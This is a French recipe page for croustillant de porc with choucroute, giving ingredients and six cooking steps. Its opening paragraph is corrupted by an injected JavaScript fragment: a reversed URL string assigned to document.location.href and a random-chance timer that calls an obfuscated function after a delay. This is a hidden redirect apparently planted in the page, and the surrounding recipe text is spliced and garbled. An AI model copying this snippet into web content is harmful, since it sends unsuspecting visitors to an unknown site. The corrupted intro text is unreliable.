Croustillant de porc avec de la choucroute

2021-05-20

Découpez en fines tranches tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes la charcuterie. Les déposer sur la plaque de cuisson recouverte d’un papier de cuisson.

Préchauffez le four à 240° C thermostat 8.

Ingrédients

  • Pour 4 personnes
  • 600 g de choucroute cuite
  • 150 g de lard fumé
  • 1 saucisse de Morteau
  • 80 g de cervelas
  • 120 g de rôti de porc fumé
  • 4 saucisses de Strasbourg
  • 40 g de beurre
  • 1 verre de cidre brut
  • Quelques graines de moutarde
  • Quelques graines de coriandre
  • Sel / poivre

Préparation de la recette

Etape 1

Découpez en fines tranches toutes la charcuterie.

Etape 2

Les déposer sur la plaque de cuisson recouverte d'un papier de cuisson.

Etape 3

Préchauffez le four à 240° C thermostat 8.

Etape 4

Enfournez et faites cuire pendant 15 minutes environ.

Etape 5

Faites réchauffer la choucroute avec les graines de moutarde, de coriandre et le verre de cidre brut.

Etape 6

Servez dans un plat creux avec la charcuterie autour

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